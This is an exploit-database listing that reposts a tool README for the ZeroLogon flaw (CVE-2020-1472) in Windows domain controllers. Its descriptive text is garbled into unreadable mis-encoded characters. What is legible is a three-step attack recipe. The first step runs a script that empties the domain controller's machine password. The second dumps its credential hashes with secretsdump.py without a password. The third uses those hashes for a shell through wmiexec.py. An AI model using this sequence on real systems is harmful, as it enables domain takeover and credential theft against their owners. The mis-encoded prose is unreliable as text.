Sploitus

ZeroLogon-Exploit

CVE-2020-1472

kitploit ┬╖ 2026-08-25

Exploit Code

MARKDOWN16 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HELL-MOON-ZEROLOGON-EXPLOIT
# ZeroLogon - рд╢реЛрд╖рдг рдФрд░ рдЙрджрд╛рд╣рд░рдг

рдкрд░реАрдХреНрд╖рдг PoC рдХреЛ Secura рд╕реЗ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛, CVE-2020-1472, рдорд╢реАрди рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рд╢реВрдиреНрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред рдорд╢реАрди рдкрд░ рдкрд╛рд╕рд╡рд░реНрдб рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП Microsoft рдХреЗ NetrServerPasswordSet2() рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рд╢реЛрд╖рдг Impacket рдХреЗ nrpc.py рдореЙрдбреНрдпреВрд▓ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИ NetrServerPasswordSet2() рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред

## рд╢реЛрд╖рдг рдЪрд▓рд╛рдПрдБ

`./zerologon_NULLPASS.py <dc-name> <dc-ip>` ![](https://assets.kitploit.com/production/public/readmes/26429/e6910e9bf9eb0b26938ccb696359ba552050ba04ac210dc5f7b0186e5aeff764.png)

## рд╣реИрд╢ рдбрдВрдк рдХрд░реЗрдВ

`secretsdump.py -no-pass <dc-name>\$@<dc-ip>` ![](https://assets.kitploit.com/production/public/readmes/26429/af686dc753966df0ebfe8564e0ba363d56c2df3940a82edfbf21d1a351f2cb9d.png)

## рд╢реИрд▓ рдПрдХреНрд╕реЗрд╕ рдХреЗ рд▓рд┐рдП рдкрд╛рд╕-рдж-рд╣реИрд╢

`wmiexec.py -hashes <LM:NT> <username>@<ip>` ![](https://assets.kitploit.com/production/public/readmes/26429/17dc5bc3279e584dec405f29be95a290320b2167645c334b2149a73105fc04ca.png)